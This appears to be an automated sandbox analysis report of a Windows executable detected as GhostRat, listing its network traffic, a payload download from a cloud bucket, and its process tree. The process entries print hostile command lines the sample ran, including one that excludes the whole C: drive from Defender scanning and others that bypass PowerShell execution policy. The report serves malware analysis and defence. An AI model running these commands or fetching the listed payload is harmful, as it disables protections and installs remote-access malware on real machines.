Jan 8, 2025 07:18:14.517318964 CET	50010	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:14.522202969 CET	15092	50010	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:29.781157017 CET	50010	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:29.781384945 CET	50010	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:29.786601067 CET	15092	50010	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:29.786928892 CET	50010	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:31.719363928 CET	50011	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:31.724330902 CET	15091	50011	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:31.724392891 CET	50011	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:37.350807905 CET	50011	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:37.355880976 CET	15091	50011	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:37.356000900 CET	15091	50011	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:37.356010914 CET	15091	50011	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:37.356019974 CET	15091	50011	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:37.671114922 CET	15091	50011	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:37.671344042 CET	50011	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:37.676135063 CET	15091	50011	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:49.764944077 CET	50011	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:49.769757986 CET	15091	50011	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:50.081504107 CET	15091	50011	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:50.125088930 CET	50011	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:50.257190943 CET	50011	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:50.262011051 CET	15091	50011	154.82.85.107	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 07:15:03.068156004 CET	52813	53	192.168.2.4	1.1.1.1
Jan 8, 2025 07:15:03.337126970 CET	53	52813	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 07:15:03.068156004 CET	192.168.2.4	1.1.1.1	0xdfbc	Standard query (0)	xrpy.oss-ap-southeast-1.aliyuncs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 07:15:03.337126970 CET	1.1.1.1	192.168.2.4	0xdfbc	No error (0)	xrpy.oss-ap-southeast-1.aliyuncs.com		47.79.48.230	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

xrpy.oss-ap-southeast-1.aliyuncs.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	47.79.48.230	443	2004	C:\Users\user\Desktop\leBwnyHIgx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 06:15:04 UTC	128	OUT	GET /wpsv.5.6.3.exe HTTP/1.1 User-Agent: URLDownloader Host: xrpy.oss-ap-southeast-1.aliyuncs.com Cache-Control: no-cache
2025-01-08 06:15:05 UTC	562	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 08 Jan 2025 06:15:05 GMT Content-Type: application/octet-stream Content-Length: 3027728 Connection: close x-oss-request-id: 677E17E957675839355C7E86 Accept-Ranges: bytes ETag: "B52BA2B99108C496389AE5BB81FA6537" Last-Modified: Fri, 27 Dec 2024 16:38:48 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 7602638133618041147 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: tSuiuZEIxJY4muW7gfplNw== x-oss-server-time: 10
2025-01-08 06:15:05 UTC	15822	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 71 a0 86 ad 35 c1 e8 fe 35 c1 e8 fe 35 c1 e8 fe 6e a9 eb ff 2e c1 e8 fe 6e a9 ed ff e6 c1 e8 fe ab 61 2f fe 3c c1 e8 fe e0 ac ec ff 26 c1 e8 fe e0 ac eb ff 2f c1 e8 fe 6e a9 ef ff 34 c1 e8 fe 6e a9 ee ff 34 c1 e8 fe e0 ac ed ff ab c1 e8 fe 6e a9 ec ff 15 c1 e8 fe 6e a9 e9 ff 36 c1 e8 fe 35 c1 e8 fe 20 c1 e8 fe 97 af ec ff 96 c3 e8 fe 35 c1 e9 fe 56 c3 e8 fe 97 af ed ff b8 c1 e8 Data Ascii: MZ@(!L!This program cannot be run in DOS mode.$q555n.na/<&/n4n4nn65 5V
2025-01-08 06:15:05 UTC	16384	IN	Data Raw: e7 7e 20 a6 11 fb 69 3d b7 c4 41 2d 08 0c 52 a9 34 d8 d9 4d 02 02 04 d6 ce b7 a4 04 26 15 31 08 f0 26 7a 23 29 68 08 fb 4c 15 9f 22 c6 c6 c0 be 7c 00 54 7e a0 4c 4a 04 09 f1 09 18 9b a8 02 ae ac 23 9c 23 c3 0b 0c 9c 96 27 05 1b 8a 55 8c 6e a3 42 ff 08 8d 6d 08 80 fa 94 7e fe a1 db 84 83 44 80 05 0b 4e d0 2f 94 e4 0c 3c d1 e9 3a d1 54 1a 3c df ea 89 e8 18 89 18 39 06 06 99 99 6d 1a 11 07 d1 e7 24 48 22 48 2e df 66 ed 20 e7 2a d3 14 c3 94 d0 00 d4 a5 3b d3 e0 0c d3 06 70 99 03 e7 33 a5 41 03 ab 0d 08 c0 0a 31 6b a6 29 95 0a 0a 1c cb 30 d0 16 1d 9c 91 03 26 40 44 c5 06 a7 43 f9 ba b4 24 f8 0e fc b1 8e c8 14 0f d5 25 89 19 95 9a 01 0a 17 f8 82 01 c0 cb 07 bc 48 03 4c 03 40 38 4f 81 eb 10 08 06 70 4d 1c bf d0 13 81 01 c0 f6 dc 34 89 56 f3 e7 69 f6 79 4c 18 1c Data Ascii: ~ i=A-R4M&1&z#)hL"\|T~LJ##'UnBm~DN/<:T<9m$H"H.f *;p3A1k)0&@DC$%HL@8OpM4ViyL
2025-01-08 06:15:05 UTC	16384	IN	Data Raw: 04 ff 20 c0 63 0b 4d d5 80 78 b7 ff ff ff 82 05 51 62 09 f9 11 bd de c0 7d 3f f2 30 fb 41 68 39 b0 c2 2e 33 4e a7 85 c4 d1 f9 78 ff ff bf eb ef e9 7c 66 13 1a f5 97 de f0 bb 67 f9 9b ab ee 86 73 9b 23 6c 56 0d a0 da 4c ff ff ff ff ff 2b c5 92 db ee bd ba 3a 54 21 c0 5c fe 21 f1 bd ac af a3 7a 52 62 15 8b 8f b5 82 c6 1a fb 22 e3 ff ff ff bc a2 05 42 fe b4 12 6b ad a9 76 b7 6b 1c d8 34 5c 7d d5 a9 0d 91 f6 c1 47 69 bc ff ff ff bf c2 b7 fc 84 2e a0 8e 3f 52 3b bd 1f 28 6b c8 13 37 d6 44 e9 8d 08 92 96 e5 2c 57 34 59 21 04 ff ff ff ff a8 aa 56 25 a4 c8 ae 68 17 9e a4 f4 42 64 57 4b 54 85 8a d1 09 09 25 18 05 b0 09 9d d9 75 21 d3 ff ff ff ff 75 31 f8 35 46 c8 d4 47 9d 87 eb 40 95 19 24 7c 6e e9 d5 14 aa c3 be 22 18 c1 a0 5f 34 98 c2 4d ff ff ff ff 3f a6 09 57 Data Ascii: cMxQb}?0Ah9.3Nx\|fgs#lVL+:T!\!zRb"Bkvk4\}Gi.?R;(k7D,W4Y!V%hBdWKT%u!u15FG@$\|n"_4M?W
2025-01-08 06:15:05 UTC	16384	IN	Data Raw: 80 ff ff ff bf 12 9f 9d 0a df b5 38 61 89 fb 67 45 9c 39 f9 84 54 c4 d6 6f 00 39 90 82 fa ce ae e8 af a4 97 ff ff bf e8 3a fe 71 14 00 d1 9e 33 41 63 ca a5 5a 8b 09 2a 26 ef 96 b7 5d c4 92 fa 51 db 0d ff ff ff 1d 63 5f 7c 94 53 84 ed a3 99 07 9f dc 55 b3 31 67 1a 63 05 ec 36 79 57 b0 c3 ff ff ff ff dd d5 6a 21 fc 54 e6 28 c4 f1 d2 ce 02 43 50 30 15 4d 3c d0 1c f6 7e d0 a4 86 e7 f5 c2 06 c5 c4 ff ff ff ff a8 e2 d3 c7 cf bd ab 9f e3 42 c4 cd 65 fa d3 cd df 55 c4 ce 6e e8 fc 96 0f e2 92 ca de 37 7c c9 ff 9b fe ff 80 4a 54 e9 fd 3c 4b 81 b8 d9 1a f1 91 5d 9d 7c d1 78 e2 1e 0e 09 62 dd c6 b9 ff ff 55 ff de 29 ba b0 62 49 53 b6 b0 bf 4d 77 a4 d1 0b f0 31 2e e5 71 2e 18 a4 a7 cb a6 fd ff 2f f8 30 24 11 8d 16 ba 6a 19 de 3c 5a 00 a6 e2 43 98 e8 83 10 76 ef ca 67 Data Ascii: 8agE9To9:q3AcZ*&]Qc_\|SU1gc6yWj!T(CP0M<~BeUn7\|JT<K]\|xbU)bISMw1.q./0$j<ZCvg
2025-01-08 06:15:05 UTC	16384	IN	Data Raw: 15 55 cd 04 db 73 db ff ff 17 fd 47 5f 83 6e d1 5a 90 bb f7 bb 84 58 ce 75 e8 d2 92 d5 b7 76 f2 94 67 27 5f 32 ff 5f 45 ea 91 3a af 46 92 ce 63 b7 45 27 b4 b8 7a 1e 4e de cb ff ff ff ff c8 5e d3 bb 52 91 d5 72 ad 98 ec 07 a1 56 b4 8e 04 fa 48 3f 17 07 f7 ef 92 61 69 af dd fc 76 03 ff bb fe ff e2 e9 e2 be 5c f2 8a c5 99 51 7f a4 f1 ac 16 86 f5 b8 95 88 87 db 27 2e 63 12 ff ff ff ff 31 7d 6b 2b a0 9b b5 f9 82 42 04 94 ee 60 6e 4e 54 9b fd eb 01 3a ad 42 eb 08 3c 6a a3 f2 46 fb 7f d3 ff ff 18 59 2c a3 0b 22 1d 5d 47 a6 8c 06 9c a1 cc 20 67 bd 76 94 9f c6 10 8c c8 15 ff ff ef fa 52 e3 19 a1 89 02 ad 4f 10 51 0a e4 4b 02 7b 0d 73 2d ae a4 68 1d b6 cf 58 67 fe ff ff ff c0 d0 ca 11 34 31 9e a3 bc 12 28 1e 8e 5a 63 f5 da f2 36 94 63 2c 39 3d f9 80 9f bf 8d ef 1f Data Ascii: UsG_nZXuvg'_2_E:FcE'zN^RrVH?aiv\Q'.c1}k+B`nNT:B<jFY,"]G gvROQK{s-hXg41(Zc6c,9=
2025-01-08 06:15:05 UTC	16384	IN	Data Raw: 81 98 12 4f ec b6 e5 3a 96 a1 11 13 77 5f 0f 19 40 14 28 cc f1 3e 19 ff ff ff 5f a6 31 ac 5c ce d7 29 fa 02 3b 29 d8 3a 37 cb 94 b2 38 c7 7f 3a 46 d2 b7 fe fb 54 7c 01 a2 ff ff aa ff 9b 53 57 04 73 4e 06 90 e5 92 45 67 12 83 d7 31 59 a4 76 aa 7c de 72 92 11 94 ff ff ff 05 c6 e4 35 35 3a 2e ef 7c c1 91 76 d0 fe 84 d1 a1 f9 03 c3 ba 09 bb 2c e2 b5 06 ff ff ff ff 7e 23 b7 e0 c1 d3 fd 55 01 f3 ba c5 1b f8 02 60 92 0a 93 1c c4 19 03 88 f5 45 e5 8f 7d ce 2c 87 ff ff ff ff 2e f6 55 8c f9 b0 d2 72 2d 93 6d 28 6e 8e 3a ed 68 02 da 80 d0 71 4a 8f 06 59 38 89 81 cb 1a 74 ff ff ff ff 1e 62 a3 a5 b8 85 c3 d2 04 3d 3b 93 36 0c 12 55 fb 7b c8 a3 25 a7 93 b0 3e 49 86 bf 76 8f c4 4c ff ff ff ff fe ce 4a f6 2f 15 33 06 3a 35 49 e7 08 ff 99 ac f6 20 6d ab b2 05 a9 e4 06 57 Data Ascii: O:w_@(>_1\);):78:FT\|SWsNEg1Yv\|r55:.\|v,~#U`E},.Ur-m(n:hqJY8tb=;6U{%>IvLJ/3:5I mW
2025-01-08 06:15:05 UTC	16384	IN	Data Raw: 5a 20 fa 3d 0a c5 d7 3f a6 c8 9b 76 e0 ec 9e 0b 23 e4 74 36 14 ff ff ff ff 6f 24 9d e7 b2 41 d7 68 37 67 dc 01 b1 20 f9 8b 0b f5 a7 95 78 a0 6c 4b c0 44 92 4a 75 0f 61 de ff ff ff ff c3 c2 3d 17 a0 4d 57 8b 11 35 bd 49 87 05 ba 5d 1f 76 d4 0f b0 5b 5f b7 f8 cf 12 54 19 9a 49 6a ff ff ff ff 42 ad 93 85 0b e7 8c 30 59 82 82 2d d9 89 f5 8c 39 9c f5 cd 25 22 74 cf 56 a2 15 40 a6 a8 fc dc 2a ea ff ff 85 9e ab d6 94 5d d6 73 07 ed 7b 76 11 67 f5 52 ac 1a 69 d0 ff ff ff ff aa 4d 11 e0 c4 4c 6e 9e 8e 13 46 0b 95 40 53 35 53 58 7f 81 5f 17 d7 5e 53 86 f3 1b 70 f1 95 8f ff ff ff ff f6 d4 6f 55 92 a2 38 d3 43 6c 7e a2 21 5b 18 11 dd 03 52 e6 e5 c0 c5 4e 8e da db 91 cf f7 75 c2 ff 6f f8 ff 33 69 d1 d1 29 9d 51 79 91 e4 58 05 a5 6c 16 3e 42 f3 c4 1f 88 94 fc 6b 53 b1 Data Ascii: Z =?v#t6o$Ah7g xlKDJua=MW5I]v[_TIjB0Y-9%"tV@*]s{vgRiMLnF@S5SX_^SpoU8Cl~![RNuo3i)QyXl>BkS
2025-01-08 06:15:05 UTC	16384	IN	Data Raw: c7 74 ff ff 17 fd 08 91 1f d5 4c a9 32 33 ea b0 2c 0a 88 da f7 ca 91 f6 5f 9e 72 f6 18 f9 19 9d 57 8b f8 ff 84 f8 4c e1 eb 45 29 aa f2 a6 fd 64 f9 d2 1c c2 de ff ff ff ff 19 dd 0f 02 16 65 70 33 d4 32 67 7b c4 bb 11 60 4f c3 4d 29 23 7e 84 58 51 43 7e 25 4f 3d d4 e0 17 e0 ff ff 20 79 fd ce 59 49 f8 d1 53 ca 2d 66 ec e5 7f c8 14 06 c1 fc f2 61 a7 ff ff ff ff 1b f9 5e 97 fe 62 57 05 cc 6f 26 4b a6 40 33 72 20 d3 1e 2b b2 60 e7 56 da 87 d3 b4 5a 73 04 c9 ff ff ff ff c2 68 e3 18 74 d9 46 74 31 f4 f4 ab c4 0a bc 66 4e 23 5f 92 7c 0a 81 dd cc 79 ee b3 3d c0 91 81 ff ff ff ff d0 79 39 d2 69 5d dc c1 5c 61 b9 5e 87 32 73 70 d0 a8 7d b5 d0 fc f4 b6 55 9f 1f 8a ec f4 b0 47 a6 ff ff ff eb 3b 68 80 0b 79 d0 71 99 b1 d0 ed 1f 9f 6c 2d 9d ae 1c 62 3b ec 3e 2f b4 fa ff Data Ascii: tL23,_rWLE)dep32g{`OM)#~XQC~%O= yYIS-fa^bWo&K@3r +`VZshtFt1fN#_\|y=y9i]\a^2sp}UG;hyql-b;>/
2025-01-08 06:15:05 UTC	16384	IN	Data Raw: 46 a5 10 08 d1 db fb 9d d4 05 fc ff ff ff 01 5e 66 4d f9 32 9b 5b fe 7a 60 63 77 9a 31 34 e5 9a 82 2d 2b b7 e0 04 8f 86 f3 b2 16 86 ff ff ff 77 96 9d 80 e7 62 df 77 da f4 fc b7 42 9d ac cb 11 ff 0c 6f 4e 16 0c 59 04 05 8f 88 64 ff ff ff ff 37 e6 6c ee 64 58 79 60 d4 2f b7 90 59 fb 82 3b 20 2e 2b ba 15 fb f7 5b 1d 81 8a 8a 8f e3 39 92 ff bf e8 ff 34 fc 3a 67 ce b6 a0 9b 56 78 96 fa bf 9c 83 9e 19 66 20 42 b2 78 62 42 dd df e8 ff ff ff 98 ab 0c 3d 41 b5 74 c1 2d f0 02 58 6e b3 4d 7b 41 1c f1 09 c1 bb 84 67 f8 24 77 ff ff ff bf 56 7a 63 87 0d f2 c5 af e4 b5 c6 3b ad 66 5e ae 90 c2 24 27 7a 0b ed 1b 86 5d 02 19 85 78 c8 ff ff ff ff b1 ce e7 c9 5c ce 43 58 ac 1c 4e cd b8 3a b8 7a f3 79 4b 97 cf be 88 24 d0 9a 5a 55 43 0c 48 a2 ff ff ff ff 7f af 4b d8 16 02 fb Data Ascii: F^fM2[z`cw14-+wbwBoNYd7ldXy`/Y; .+[94:gVxf BxbB=At-XnM{Ag$wVzc;f^$'z]x\CXN:zyK$ZUCHK
2025-01-08 06:15:05 UTC	16384	IN	Data Raw: d9 eb 9b 43 c6 d9 c2 10 ab 42 e5 c6 17 fc ff ff 4a e6 3e de 9d ac 8e 95 f0 db 48 95 c2 87 6b 7f de 09 db ed 49 19 38 a4 5c df ff ff ff ff fa 2e 15 d0 b6 46 32 c9 7f 7e 01 d3 25 45 0e 5b 0d f0 67 e3 d9 df 4f 3b 6f b3 15 c5 6b 91 75 a2 ff 77 fc ff af 42 3a 14 50 d9 4f 19 65 12 83 5d 8f 8a f8 89 cc 7f 1a de 5b 44 34 98 0f 8e 9b fe ff ff 5a 5e 03 41 3e 66 9b 16 f5 91 7c b0 c1 bf a2 10 0b 60 3a 63 0c cf d8 d6 42 88 ff ff ff ff 1f 36 8e 15 db 5d 3f e7 f1 9a 73 2b 74 0c d5 09 ab 01 2e 52 6f 03 f6 c9 0b eb a5 ce 2e 1c 02 35 ff ff ff ff ca ce fe 4b ad 67 21 f8 44 ea 70 f2 3d fc 43 77 05 26 be af 99 ab 41 d4 cc 53 33 33 cd b4 2d 76 4a 03 ff ff fb ae 0c ac c1 d0 42 fb 45 4a 6e 55 d2 93 ef b9 58 ff ff ff ff ce 94 c2 01 df 27 c8 47 ff 74 fb 84 c5 a2 78 1f 4f 73 12 ec Data Ascii: CBJ>HkI8\.F2~%E[gO;okuwB:POe][D4Z^A>f\|`:cB6]?s+t.Ro.5Kg!Dp=Cw&AS33-vJBEJnUX'GtxOs

Target ID:	0
Start time:	01:14:55
Start date:	08/01/2025
Path:	C:\Users\user\Desktop\leBwnyHIgx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\leBwnyHIgx.exe"
Imagebase:	0x400000
File size:	2'581'432 bytes
MD5 hash:	2A7776214C4870137FE8AABB231CF52E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:14:58
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:14:58
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:14:58
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Imagebase:	0x690000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:15:00
Start date:	08/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:15:02
Start date:	08/01/2025
Path:	C:\Users\user\AppData\Roaming\leBwnyHIgx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\leBwnyHIgx.exe"
Imagebase:	0x7ff7699e0000
File size:	2'581'432 bytes
MD5 hash:	2A7776214C4870137FE8AABB231CF52E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2572510543.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3807432806.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3107343124.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3504281885.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2572570751.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2916173628.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3847762945.000000000092F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2231349112.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3992441735.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000002.4134424377.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3282299406.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3107580457.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3847713177.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2956428544.000000000090E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2729342507.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2956631944.0000000003FE1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3635220624.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000002.4135196957.00000000044E0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000002.4134301268.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3807432806.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2394511408.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2092467129.00000000008FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3462916069.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2916173628.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3787990039.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3462635907.0000000000925000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2394414538.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2107248320.0000000004221000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2231413227.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000002.4134547256.0000000002EF0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000002.4135092176.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3148323285.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.2729432226.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3462916069.0000000004251000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3107145495.000000000090E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000005.00000003.3107580457.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 24%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:15:02
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:15:02
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:15:02
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0x690000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:15:03
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
